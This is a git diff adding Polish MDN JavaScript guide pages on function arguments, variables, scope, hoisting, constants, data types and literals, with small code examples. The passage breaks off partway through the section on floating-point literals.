+<p>gdzie: <code>i</code> jest kolejną liczbą porządkową znajdującą się wewnątrz funkcji, pierwszym argumentem zawsze jest 0 (zero). Więc, pierwszy argument funkcji to <code>arguments{{ mediawiki.external(0) }}</code>. Łączna liczba argumentów jest podana w <code>arguments.length</code>.</p>
+<p>Używając argumentów tablicy (<code>arguments</code>) możesz nazwać większość funkcji wraz ze swoimi argumentami niż formalna deklaracja akceptującą. Często jeśli nie wiesz jak wiele będzie potrzebnych argumentów funkcji. Używaj <code>arguments</code>.length do określenie aktualnie argumentów do funkcji, potrzebnych do opisania każdego argumentu w tablicy <code>arguments</code>.</p>
+<p>Na przykład, stanowią one funkcje, które powiążą kilka łańcuchów danych. Tylko oficjalny argument dla funkcji jest łańcuch, którego specyficzne znaki separacji powiążą odpowiednie elementy. Funkcja jest definiowana następująco:</p>
+<pre>function myConcat(separator) {
+ var result="" // initialize list
+ // iterate through arguments
+ for (var i=1; i&lt;arguments.length; i++) {
+ result += arguments[i] + separator
+ }
+ return result
+}
+</pre>
+<p>Możemy podawać jakiekolwiek liczby argumentów funkcji, i to zostanie utworzona lista używająca każdej pozycji zawartej na liście.</p>
+<pre>// zwraca "red, orange, blue, "
+myConcat(", ","red","orange","blue")
+
+// zwraca "elephant; giraffe; lion; cheetah; "
+myConcat("; ","elephant","giraffe","lion", "cheetah")
+
+// zwraca "sage. basil. oregano. pepper. parsley. "
+myConcat(". ","sage","basil","oregano", "pepper", "parsley")
+</pre>
+<p>Zobacz: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">Funkcja obiektu</a> w dokumentacji języka JavaScript, aby uzyskać więcej informacji.</p>
+<p><b>JavaScript 1.3 i wersje wcześniejsze</b><br>
+ Argument tablicy jest właściwością obiektu <code>Function</code> i może on być umieszczony przed nazwą funkcji, tak jak poniżej:</p>
+<p><code>functionName.arguments(i)</code></p>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html
new file mode 100644
index 0000000000..af6e304537
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zmienne/index.html
@@ -0,0 +1,63 @@
+---
+title: Zmienne
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zmienne
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<p><span class="comment">Trzeba całość wyczyścić i uzgodnić z wersją EN: zmiany 06-2006</span></p>
+<h3 id="Zmienne" name="Zmienne">Zmienne</h3>
+<p>Zmiennych używa się jako symbolicznych nazw dla wartości w Twojej aplikacji. Nazwy zmiennych, nazywane <em>identyfikatorami</em>, podporządkowane są pewnym regułom.</p>
+<p><em>Identyfikator</em> JavaScript musi zaczynać się literą, podkreśleniem (_) lub znakiem dolara ($); kolejne znaki mogą być cyframi (0-9). Ponieważ JavaScript rozróżnia duże/małe litery, litery oznaczają znaki od "A"do "Z" (duże litery) oraz znaki od "a" do "z" (małe litery).</p>
+<p>Poczynając od JavaScript 1.5, w identyfikatorze możesz używać znaków ISO 8859-1 lub Unicode takich jak å czy ą. Jako znaków w identyfikatorze możesz także używać \uXXXX - sekwencji ucieczki Unicode wypisanych na stronie <a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode" title="pl/Przewodnik_po_języku_JavaScript_1.5/Unicode#Sekwencje_ucieczki_do_Unicode">Sekwencje ucieczki do Unicode</a>.</p>
+<p>Niektóre przykłady prawidłowych nazw to <code>Number_hits</code>, <code>temp99</code> i <code>_name</code>.</p>
+<h4 id="Deklaracja_zmiennych" name="Deklaracja_zmiennych">Deklaracja zmiennych</h4>
+<p>Możesz zadeklarować zmienne na dwa sposoby:</p>
+<ul> <li>Za pomocą słowa kluczowego <code>var</code>. Na przykład, <code>var x = 42</code></li> <li>Poprzez proste przypisanie wartości. Na przykład, <code>x = 42</code></li>
+</ul>
+<h4 id="Ocena_zmiennych" name="Ocena_zmiennych">Ocena zmiennych</h4>
+<p>Zmienna lub element tablicy, którym nie przypisano wartości, mają wartość <em>undefined</em>. Rezultat oceny nieprzydzielonej zmiennej zależny jest od sposobu jej deklaracji:</p>
+<ul> <li>Jeśli nieprzydzielona zmienna została zadeklarowana bez <code>var</code>, wynikiem oceny będzie <em>runtime error</em>.</li> <li>Jeśli nieprzydzielona zmienna została zadeklarowana z <code>var</code>, wynikiem oceny będzie wartość niezdefiniowana lub NaN w kontekstach numerycznych.</li>
+</ul>
+<p>Poniższy kod demonstruje ocenę nieprzydzielonych zmiennych.</p>
+<pre>function f1() {
+ return y - 2;
+}
+f1() //Powoduje runtime error
+
+function f2() {
+ return var y - 2;
+}
+f2() //zwraca NaN
+</pre>
+<p>Aby określić, czy zmienna posiada wartość, możesz użyć <code>undefined</code>. W poniższym kodzie zmienna <code>input</code> nie posiada przypisanej wartości, więc instrukcja <code>if</code> przyjmuje wartość <code>true</code>.</p>
+<pre>var input;
+if(input === undefined){
+ doThis();
+} else {
+ doThat();
+}</pre>
+<p>Wartość <code>undefined</code> zachowuje sie jak logiczne <em>false</em> w odpowiednim kontekście (boolean). Poniższy kod wykonuje funkcję <code>myFunction</code>, ponieważ element <code>array</code> nie został zdefiniowany:</p>
+<pre>myArray=new Array()
+if (!myArray[0])
+ myFunction()</pre>
+<p>Podczas oceny wartości zmiennej <em>null</em>, wartość <em>null</em> zachowuje się jak <em>0</em> w kontekście numerycznym oraz jako false w kontekście logicznym (boolean). Na przykład:</p>
+<pre>var n = null
+n * 32 //zwraca 0</pre>
+<h4 id="Zakres_zmiennych" name="Zakres_zmiennych">Zakres zmiennych</h4>
+<p>Zmienna zadeklarowana poza jakąkolwiek funkcją nazywana jest zmienną <em>globalną</em> (<em>global</em>); staje się ona dostępna dla dowolnego kodu w bieżącym dokumencie. Zmienna zadeklarowana wewnątrz funkcji staje się zmienną <em>lokalną</em> (<em>local</em>) i dostępna będzie jedynie wewnątrz tej funkcji.</p>
+<p>Użycie <code>var</code> do zadeklarowania zmiennej <em>global</em> jest opcjonalne. Jednakże, musisz użyć <code>var</code> do zadeklarowania zmiennej wewnątrz funkcji.</p>
+<p>Masz dostęp do zmiennych globalnych zadeklarowanych w jednym oknie lub ramce z innego okna/ramki poprzez podanie nazwy okna/ramki. Na przykład, jeśli zmienna <code>phoneNumber</code> jest zadeklarowana w dokumencie <code>FRAMESET</code>, to można się do niej odwołać z dokumentu potomnego poprzez <code>parent.phoneNumber</code>.</p>
+<h4 id="Zmienne_globalne" name="Zmienne_globalne">Zmienne globalne</h4>
+<p>Zmienne globalne są w istocie własnościami <em>obiektu globalnego</em>. W stronach internetowych obiektem globalnym jest <a href="/pl/DOM/window" title="pl/DOM/window">window</a>.
+<span class="comment">dodać link wewnętrzny</span> Możesz wiec ustawiać i odczytywać zmienne globalne przy użyciu składni <code>window.<em>zmienna</em></code>. Analogicznie, podając nazwę ramki lub okna, możesz uzyskać dostęp do zmiennych zadeklarowanych w tym oknie lub ramce z innego okna lub ramki. Przykładowo: jeśli zmienna nazwana <code>numerTelefonu</code> została zadeklarowana w dokumencie <code>FRAMESET</code>, możesz odwołać się do tej zmiennej z ramki podrzędnej poprzez <code>parent.numerTelefonu</code>.</p>
+<p><br>
+{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wartości", "Przewodnik po języku JavaScript 1.5:Stałe") }}</p>
+<p><br>
+</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "es": "es/Gu\u00eda_JavaScript_1.5/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "ko": "ko/Core_JavaScript_1.5_Guide/Variables", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u53d8\u91cf" } ) }}</p>
diff --git a/files/pl/web/javascript/guide/składnia_i_typy/index.html b/files/pl/web/javascript/guide/składnia_i_typy/index.html
new file mode 100644
index 0000000000..98e66063d0
--- /dev/null
+++ b/files/pl/web/javascript/guide/składnia_i_typy/index.html
@@ -0,0 +1,595 @@
+---
+title: Składnia i typy
+slug: Web/JavaScript/Guide/Składnia_i_typy
+tags:
+ - JavaScript
+ - Poradnik
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">Ten rozdział porusza temat podstawowych elementów języka, takich jak składnia, deklaracje zmiennych, typy danych oraz literały. </p>
+
+<h2 id="Podstawy">Podstawy</h2>
+
+<p>Składnia JavaScripta zapożycza wiele rozwiązań użytych w Javie, jednak w jej konstrukcji można zauważyć również wpływy języków takich jak Awk, Perl i Python</p>
+
+<p>JavaScript jest językiem, w którym <strong>rozróżnialna jest wielkość liter,</strong> oraz wspierany jest standard znaków <strong>Unicode.</strong></p>
+
+<p>W JavaScripcie instrukcje nazywane są  {{Glossary("Wyrażenie", "wyrażeniami")}} i rozdzielane średnikiem (;). Spacje, tabulatury i znaki nowej linii zaliczają się do grupy tak zwanych znaków białych. Kod źródłowy skryptów napisanych w JavaScripcie skanowany jest przez interpreter od lewej do prawej i konwertowany w sekwencje elementów wejścia, które reprezentowane są przez tokeny, znaki kontrolne, znaki przerwania linii, komentarze i białe znaki. ECMAScript definiuje również zestaw słów kluczowych i literałów oraz zasady automatycznego umieszczania średników (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">ASI</a>), tak by zakończyć dane wyrażenie, jednakże wykorzystywanie tej zasady wiąże się z efektami ubocznymi, dlatego zaleca się samodzielne umieszczanie średników. Więcej informacji na ten temat znajdziesz w szczegółowym opisie <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">gramatyki języka.</a> </p>
+
+<h2 id="Komentarze">Komentarze</h2>
+
+<p>Składnia komentarzy jest identyczna jak ta używana w języku C++ oraz w wielu innych.</p>
+
+<pre class="brush: js">// Komentarz w jednej linii
+
+/* to jest dłuższy,
+ wieloliniowy komentarz
+ */
+
+/* Nie możesz jednak /* zagnieżdzać komentarzy */ SyntaxError */</pre>
+
+<h2 id="Deklaracje">Deklaracje </h2>
+
+<p>W języku JavaScript występują trzy typy deklaracji.</p>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>Deklaruje zmienną, opcjonalnie inicjalizując ją podaną wartością.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt>
+ <dd>Deklaruje zmienną lokalną, ograniczoną do bloku w którym jest zawarta, opcjonalnie inicjalizując ją podaną wartością. </dd>
+ <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt>
+ <dd>Deklaruje zmienną stałą tylko do odczytu. </dd>
+</dl>
+
+<h3 id="Zmienne">Zmienne</h3>
+
+<p>Możesz używać zmiennych jako symbolicznych nazw oraz wartości w swojej aplikacji. Nazwy zmiennych są wtedy nazywane {{Glossary("Identyfikator", "identyfikatorami")}} i podlegają pewnym regułom. </p>
+
+<p>W języku JavaScript indentyfikator musi rozpoczynać się od litery, podkreślnika(_) lub symbolu dolara ($). Pozostałe znaki w indetyfikatorze mogą być także cyframi(0-9). Ponieważ JavaScript rozróżnia wielkość liter, znaki jakich możemy użyć jako nazw identyfikatora mogą być zarówno wielkimi (A-Z; uppercase) jak i małymi (a-z; lowercase) literami alfabetu. </p>
+
+<p>Możesz również użyć ISO 8859-1 lub znaków Unicodu dla liter takich jak å i  ü. Możesz także użyć <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">symboli graficzne definiowanych przez Unicode</a> jako znaków identyfikatora.</p>
+
+<p>Przykładowymi nazwami zmiennych, z których możemy bezpiecznie korzystać są <code>Number_hits</code>, <code>temp99</code>, oraz <code>_name</code>.</p>
+
+<h3 id="Deklarowanie_zmiennych">Deklarowanie zmiennych</h3>
+
+<p>Zmienną możemy deklarować na trzy sposoby:</p>
+
+<ul>
+ <li>Wykorzystując słowo kluczowe {{jsxref("Statements/var", "var")}}. Na przykład, var x = 42. Wykorzystując tą opcje możemy deklarować zarówno zmienne lokalne jak i globalne.</li>
+ <li>Przez podstawienie wartości do zmiennej. Na przykład x = 42. Jednakże w ten sposób zadeklarować możemy jedynie zmienne globalne, które nie mogą być zmieniane z poziomu lokalnego. W trybie ścisłym wygeneruje nam to ostrzeżenie, stąd też nie jest to preferowana metoda. </li>
+ <li>Za pomocą słowa kluczowego  {{jsxref("Statements/let", "let")}}. Na przykład let y = 13. W tym przypadku deklarujemy zmienną ograniczoną do lokalnej <a href="#Variable_scope">przestrzeni nazw</a>, o której więcej informacji znajdziesz poniżej. </li>
+</ul>
+
+<h3 id="Ewaluacja_zmiennych">Ewaluacja zmiennych</h3>
+
+<p>Zmienna deklarowana przy użyciu <code>var</code> lub <code>let</code>, której nie przypiszemy początkowej wartości przyjmie automatycznie wartość {{jsxref("undefined")}}.</p>
+
+<p>W poniższym przykładzie chcemy uzyskać dostęp do niezadeklarowanej zmiennej, co skutkować będzie błędem  {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js">var a;
+console.log("The value of a is " + a); // W konsoli pojawi się komunikat "The value of a is undefined"
+console.log("The value of b is " + b); // wyrzuci wyjątek ReferenceError
+</pre>
+
+<p>Możesz użyć wartości <code>undefined</code> do sprawdzenia czy dana zmienna posiada jakąś wartość. W poniższym kodzie zmienna <code>input</code> nie posiada przypisanej wartości, dlatego instrukcja <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else" title="en-US/docs/JavaScript/Reference/Statements/if...else">if</a></code> zwróci nam wartość <code>true</code>.</p>
+
+<pre class="brush: js">var input;
+if(input === undefined){
+ doThis();
+} else {
+ doThat();
+}
+</pre>
+
+<p>Wartość <code>undefined</code> zachowuje się jak <code>false</code>, kiedy używana jest w kontekście funkcji boolowskich. W poniższym przykładzie kod zawarty w instrukcji if zostanie uruchomiony, ponieważ żądany element nie istnieje w tej tablicy.</p>
+
+<pre class="brush: js">var myArray = [];
+if (!myArray[0]) myFunction();
+</pre>
+
+<p>Wartość <code>undefined</code> konwertowana jest do wartości <code>NaN</code> kiedy używana jest w kontekście numerycznym. </p>
+
+<pre class="brush: js">var a;
+a + 2; // ewaluacja do NaN</pre>
+
+<p>Kiedy ewaluowana jest zmienna typu {{jsxref("null")}}, zachowuje się ona jak 0 w kontekście numerycznym i jako false w kontekście funkcji boolowskich. Ilustruje to poniższy przykład. </p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // zaloguje 0 w konsoli
+</pre>
+
+<h3 id="Zasięg_zmiennej">Zasięg zmiennej</h3>
+
+<p>Zmienna, którą zadeklarujemy poza funkcją nazywana jest zmienną <em>globalną</em>, ponieważ jest ona dostępna z każdego miejsca w naszym kodzie. Jeżeli zmienna deklarowana jest wewnątrz funkcji, nazwana jest wtedy <em>lokalną</em>, ponieważ używać jej możemy tylko i wyłączenie w ciele tej funkcji. </p>
+
+<p>JavaScript przed wersją ECMAScript 6 nie posiadał zasięgu blokowego, zamiast tego zmienna zadeklarowana w danym bloku była funkcją lokalną dla tej <em>funkcji (lub zasięgu globalnego)</em>. Dla przykladu poniższy kod pokaże nam wartość 5, ponieważ zasięgiem zmiennej x jest funkcja, w której została ona zdefiniowana, a nie blok, którym w tym przypadku jest funkcja <code>if</code>. </p>
+
+<pre class="brush: js">if (true) {
+ var x = 5;
+}
+console.log(x); // 5
+</pre>
+
+<p>Zachowanie zmieni się, kiedy użyjemy deklaracji <code>let</code> wprowadzonej w standardzie ECMAScript 6.</p>
+
+<pre class="brush: js">if (true) {
+ let y = 5;
+}
+console.log(y); // ReferenceError: y is not defined
+</pre>
+
+<h3 id="Podnoszenie_zmiennych">Podnoszenie zmiennych</h3>
+
+<p>Kolejną niecodzienną rzeczą, na którą natkniemy się pracując z JavaScript'em jest fakt, że bez żadnego błędu możemy uzyskać dostęp do zmiennych, które zadeklarowane są dalej w naszym skrypcie. Ta koncepcja zwana jest <strong>podnoszeniem lub windowaniem (ang. </strong><strong><em>hoisting</em>)</strong>, ponieważ zmienne są niejako wyciągane do góry wyrażenia. Nie możemy jednak używać w ten sposób zmiennych, które nie zostały zinicjalizowane, ponieważ zwrócą one wartość <code>undefined</code>. </p>
+
+<pre class="brush: js">/**
+ * Przykład 1
+ */
+console.log(x === undefined); // Zwróci nam wartość "true"
+var x = 3;
+
+/**
+ * Przykład 2
+ */
+// zwróci wartość undefined
+var myvar = "my value";
+
+(function() {
+ console.log(myvar); // undefined
+ var myvar = "local value";
+})();
+</pre>
+
+<p>Powyższe przykłady intepretowane będą tak samo jak:</p>
+
+<pre class="brush: js">/**
+ * Przykład 1
+ */
+var x;
+console.log(x === undefined); // Zwaraca wartość "true"
+x = 3;
+
+/**
+ * Przykład 2
+ */
+var myvar = "my value";
+
+(function() {
+ var myvar;
+ console.log(myvar); // undefined
+ myvar = "local value";
+})();
+</pre>
+
+<p>Przez podnoszenie wszystkie zmienne deklarowane poprzez użycie <code>var</code>, w miarę możliwości powinny być umieszczane na górze funkcji. Zwiększa to czytelność kodu i traktowane jest jako dobra praktyka. </p>
+
+<p>W ECMAScript 2015 <code>let (const)</code><strong> nie zostaną podniesione</strong> na górę bloku kodu. Jednak odwołanie do zmiennej, w bloku przed zadeklarowanymi, da w rezultacie <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a>. Zmienne będą w tzw. "tymczasowej martwej strefie" od początku bloku aż do stwierdzenia są przetwarzane.</p>
+
+<pre>function do_something() { console.log(foo); // ReferenceError let foo = 2; }</pre>
+
+<h3 id="Zmienne_globalne">Zmienne globalne</h3>
+
+<p>Zmienne globalne są w istocie właściwością <em>obiektu globalnego</em>. W przypadku stron internetowych obiektem tym jest {{domxref("window")}}, co pozwala na wykorzystywanie i manipulowanie zmiennymi globalnymi za pomocą składni <code>window.<em>variable</em></code>.</p>
+
+<p>Pozwala to także na wykorzystywanie zmiennych globalnych zadeklarowanych w jednym oknie przez inne okno, poprzez jego nazwę. Na przykład zmienną <code>phoneNumber</code> zadeklarowaną w jednym dokumencie, możemy uzyskać poprzez wykorzystanie <code>parent.phoneNumber.</code></p>
+
+<h3 id="Stałe">Stałe</h3>
+
+<p>Możesz także tworzyć zmienne tylko do odczytu, zwane zmiennymi stałymi poprzez wykorzystywanie slowa kluczowego {{jsxref("Statements/const", "const")}}. Składnia identyfikatora stałego jest taka sama jak identyfikatora zmiennej. Musi zaczynać się od litery, podkreślnika lub symbolu dolara i może zawierać cyfry i znaki alfabetu. </p>
+
+<pre class="brush: js">const prefix = '212';
+</pre>
+
+<p>Zmienna nie może zostać ponownie zadeklarowana lub przyjąć nowej wartości kiedy działa nasz skrypt. Możemy to zrobić jedynie przy jej inicjalizacji.</p>
+
+<p>Zasady zasięgu są dla niej takie same jak dla zmiennych tworzonych z użyciem <code>let</code>. Jeżeli pominiemy słowo kluczowe <code>const</code> identyfikator będzie intepretowany jako reprezentacja zmiennej.</p>
+
+<p>Limitacją dla stałych jest fakt, że nie możemy zadeklarować takiej, która wykorzystuje nazwę występującą już jako identyfikator zmiennej lub funkcji w tym samym bloku. Zachowanie to ilustruje poniższy przykład.</p>
+
+<pre class="example-bad brush: js">// SPOWODUJE TO WYRZUCENIE BŁĘDU
+function f() {};
+const f = 5;
+
+// TO RÓWNIEŻ SPOWODUJE BŁĄD
+function f() {
+ const g = 5;
+ var g;
+
+ //instrukcje
+}
+</pre>
+
+<p>Jednak atrybuty obiektu nie są chronione, , object attributes are not protected, więc następujące wyrażenie zostanie wykonywane bez problemów.</p>
+
+<pre><code>const MY_OBJECT = {"key": "value"};
+MY_OBJECT.key = "otherValue";</code>
+</pre>
+
+<h2 id="Struktury_i_typy_danych">Struktury i typy danych</h2>
+
+<h3 id="Typy_danych">Typy danych</h3>
+
+<p>Najnowszy standard ECMAScript definiuje siedem typów danych:</p>
+
+<ul>
+ <li>Sześć typów danych rodzaju {{Glossary("Primitive", "primitives")}}:
+ <ul>
+ <li>{{Glossary("Boolean")}}. <font face="Consolas, Liberation Mono, Courier, monospace">true</font> oraz <code>false</code>.</li>
+ <li>{{Glossary("null")}}. Specjalne słowo kluczowe oznaczające wartość zerową. Ponieważ w języku JavaScript rozróżniana jest wielkość liter, <code>null</code> nie jest tym samym co <code>Null</code>, <code>NULL</code> lub jakikolwiek inny wariant.</li>
+ <li>{{Glossary("undefined")}}. Najwyższa właściwość, której wartość jest nieokreślona.</li>
+ <li>{{Glossary("Number")}}. <code>42</code> lub <code>3.14159</code>.</li>
+ <li>{{Glossary("String")}}. "Uszanowanko"</li>
+ <li>{{Glossary("Symbol")}} (nowość w ECMAScript 6). Typ danych, gdzie przykłady są niepowtarzalne i niezmienne.</li>
+ </ul>
+ </li>
+ <li>oraz typ złożony
+ <ul>
+ <li>{{Glossary("Object")}} (do którego można również zaliczyć podtypy functions i array)</li>
+ </ul>
+ </li>
+</ul>
+
+<p>Mimo, że typów danych w javascript jest stosunkowo niewiele, pozwalają one na tworzenie  użytecznych funkcji.</p>
+
+<h3 id="Konwersja_typów_danych">Konwersja typów danych</h3>
+
+<p>JavaScript jest językiem dynamicznie typowanym. Oznacza to, że nie musimy deklarować typu zmiennej, ponieważ jest on automatycznie konwertowany do porządanych wartości w czasie wykonywania się skryptu. Przykładowo możemy zdefniniować zmienną w podany sposób:</p>
+
+<pre class="brush: js">var answer = 42;
+</pre>
+
+<p>A później przypisać do tej samej zmiennej kawałek typu string: </p>
+
+<pre class="brush: js">answer = "Dzięki za wszystko...";
+</pre>
+
+<p>To przypisanie nie wywołuje błędu, gdyż typ danych został ustalony dynamicznie. </p>
+
+<p>W wyrażeniach, w których tekst mieszany jest z liczbami za pomocą operatora "+" JavaScript konwertuje wartości liczbowe do ciągu znaków. Ilustruje to poniższy przykład:</p>
+
+<pre class="brush: js">x = "Odpowiedź to " + 42 // "Odpowiedź to 42"
+y = 42 + " jest odpowiedzią" // "42 jest odpowiedzią"
+</pre>
+
+<p>W przypadku użycia innych operatorów JavaScript nie używa powyższej metody, ale konwertuje je automatycznie próbując sparować dwie zmienne. </p>
+
+<pre class="brush: js">"37" - 7 // 30
+"37" + 7 // "377"
+</pre>
+
+<h3 id="Konwersja_do_typu_number">Konwersja do typu number</h3>
+
+<p>W przypadku kiedy w pamięci programu przechowujemy liczbę pod postacią łancucha znaków możemy posłużyć się poniższymi metodami konwersji:</p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code> zwróci nam liczbę całkowitą, dobrą praktyką w przypadku zamiany z użyciem tej funkcji jest specyzowanie podstawy, która informuje o tym jaki system liczbowy został przez nas przyjęty.</p>
+
+<p>Alternatywną metodą konwersji jest użycie operatora "+", który działa zarówno z typem string jak i boolean.</p>
+
+<pre class="brush: js">"1.1" + "1.1" = "1.11.1"
+(+"1.1") + (+"1.1") = 2.2
+// Notka: Cudzyslowy uzyte sa dla zwiekszenia czytelnosci, nie sa one wymagane
+</pre>
+
+<h3 id="Literały">Literały</h3>
+
+<p>Literałów używa się w celu przedstawiania wartości w języku JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które <em>dosłownie</em> podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów:</p>
+
+<ul>
+ <li>{{anch("Literały tablicowe")}}</li>
+ <li>{{anch("Literały boolowskie")}}</li>
+ <li>{{anch("Literały zmiennoprzecinkowe")}}</li>
+ <li>{{anch("Literały całkowite")}}</li>
+ <li>{{anch("Literały obiektowe")}}</li>
+ <li>{{anch("Literały znakowe")}}</li>
+</ul>
+
+<h3 id="Literały_tablicowe">Literały tablicowe</h3>
+
+<p>Literał tablicowy jest listą składającą się z zera lub większej liczby wyrażeń, gdzie każde z nich reprezentuje element tablicy i zamknięty jest w nawiasach kwadratowych. Tablica tworzona za pomocą literału tablicowego zostaje zainicjalizowana podanymi wartościami, które stają się jej elementami, a długość tablicy ustalona zostaje według liczby podanych argumentów.</p>
+
+<p>Poniższy przykład tworzy tablicę długości trzy,  o nazwie <code>kawy</code>, w której umieszczone zostają trzy elementy:</p>
+
+<pre><code>kawy = ["Arabica", "Columbiana", "Zbożowa"]</code>
+</pre>
+
+<p><strong>Uwaga</strong> Literał tablicowy jest typem inicjalizatora obiektu. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjalizatorów obiektu</a>.</p>
+
+<p>Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo taki literał, kiedy zostaje użyty w funkcji tworzony jest przy każdym jej wywołaniu.</p>
+
+<p>Literały tablicowe są także obiektami typu <code>Array</code>. Zobacz <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Array">obiekt <code>Array</code></a>, aby uzyskać więcej informacji o obiektach <code>Array</code>.</p>
+
+<h4 id="Dodatkowe_przecinki_w_literalach_tablicowych">Dodatkowe przecinki w literalach tablicowych</h4>
+
+<p>W chwili inicjalizacji nie musisz deklarować wszystkich elementów tablicy. Jeżeli umieścisz następujące po sobie dwa przecinki, w miejscu pustego miejsca wstawiona będzie wartość <code>undefined</code>. W poniższym przykładzie tworzymy tablice o nazwie <code>ryby</code>:</p>
+
+<pre><code>ryby = ["Piła", , "Młot"]</code>
+</pre>
+
+<p>Tablica ta posiada dwa elementy z wartościami i jeden pusty (wywołanie <code>ryby[0]</code> zwróci nam "Piła", wartość <code>ryby[1]</code> jest niezdefiniowana, a <code>ryby[2]</code> zwróći "Młot"):</p>
+
+<p>W przypadku kiedy pozostawiamy przecinek na końcu listy, jest on ignorowany.  (<strong>Uwaga: </strong>przecinki pozostawione na końcu listy mogą powodować błędy w starszych przeglądarkach i zalecane jest ich usuwanie). W poniższym przypadku długośc tablicy to trzy ponieważ nie istnieje element <code>mojaLista[3]</code>. Wszystkie inne przecinki w liście wskazują nowy element.</p>
+
+<pre class="brush: js">var mojaLista = ['dom', , 'szkola', ];
+</pre>
+
+<p>W poniższym przykładzie długość tablicy wynosi cztery, a elementy niezefiniowane występują pod indeksami 0 i 2.</p>
+
+<pre class="brush: js">var mojaLista = [ , 'dom', , 'szkola'];
+</pre>
+
+<p>W poniższym przykładzie tablica jest dlugości cztery, brakuje w niej zdefiniowanych elementów  <code>mojaLista[1]</code> oraz <code>mojaLista[3]</code>. Zignorowany zostaje jedynie ostatni przecinek.</p>
+
+<pre class="brush: js">var mojaLista = ['dom', , 'szkola', , ];
+</pre>
+
+<p>Zrozumienie zachowania dodatkowych przecinków jest bardzo ważne w procesie nauki języka JavaScript, jednocześnie zalecanym podejściem jest jawne deklarowanie brakujących elementów jako <code>undefined</code>, co pomaga zwiększyć czytelność kodu, ułatwia jego utrzymanie oraz wprowadzanie zmian w przyszłości.</p>
+
+<h3 id="Literały_boolowskie">Literały boolowskie</h3>
+
+<p>Typ Boolowski posiada dwie wartości literałowe: <code>true</code> oraz <code>false</code>. </p>
+
+<p>Jednakże nie należy mylić tego z wartościami <code>true</code> oraz <code>false</code>, które są wartościami obiektu, ponieważ jest on jedynie reprezentacją prymitywnego typu danych. Więcej na ten temat możemy znaleźć w dokumentacji typu {{jsxref("Boolean")}}. </p>
+
+<h3 id="Literały_całkowite">Literały całkowite</h3>
+
+<p>Literały całkowite mogą być wyrażane w systemie decymalnym (baza 10), heksadecymalnym (baza 16), oktalnym (baza 8) oraz binarnym (baza 2).</p>
+
+<ul>
+ <li>Literały dziesiętne zawierają sekwencje cyfr pozbawioną wiodącego zera. </li>
+ <li>Wiodące zero w literale całkowitym świadczy o tym że jest on reprezentowany w systemie oktalnym, w którym dopuszczane są cyfry z zakresu 0-7.</li>
+ <li>Kiedy łańcuch cyfr zaczyna się od 0x (lub 0X) oznacza to że przyjmujemy reprezentację heksadecymalną, gdzie dopuszczalne jest użycie wszystkich cyfr oraz liter z przedziału a-f lub A-F.</li>
+</ul>
+
+<p>Posłużymy się kilkoma przykładami literałów całkowitych:</p>
+
+<pre class="eval">0, 117 and -345 (dziesietne, baza 10)
+015, 0001 and -077 (oktalne, baza 8)
+0x1123, 0x00111 and -0xF1A7 (heksadecymalne, "hex" or baza 16)
+</pre>
+
+<p>By zasięgnąc informacji przejdź do działu <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Numeric literals in the Lexical grammar reference</a>.</p>
+
+<h3 id="Literały_zmiennoprzecinkowe">Literały zmiennoprzecinkowe</h3>
+
+<p>Literały zmiennoprzecinkowe mogą zawierać poniższe elementy:</p>
+
+<ul>
+ <li>Liczbę dziesiętną z określonym znakiem "+" i "-" ,</li>
+ <li>Część dziesiętną,</li>
+ <li>Wykładnik potęgi.</li>
+</ul>
+
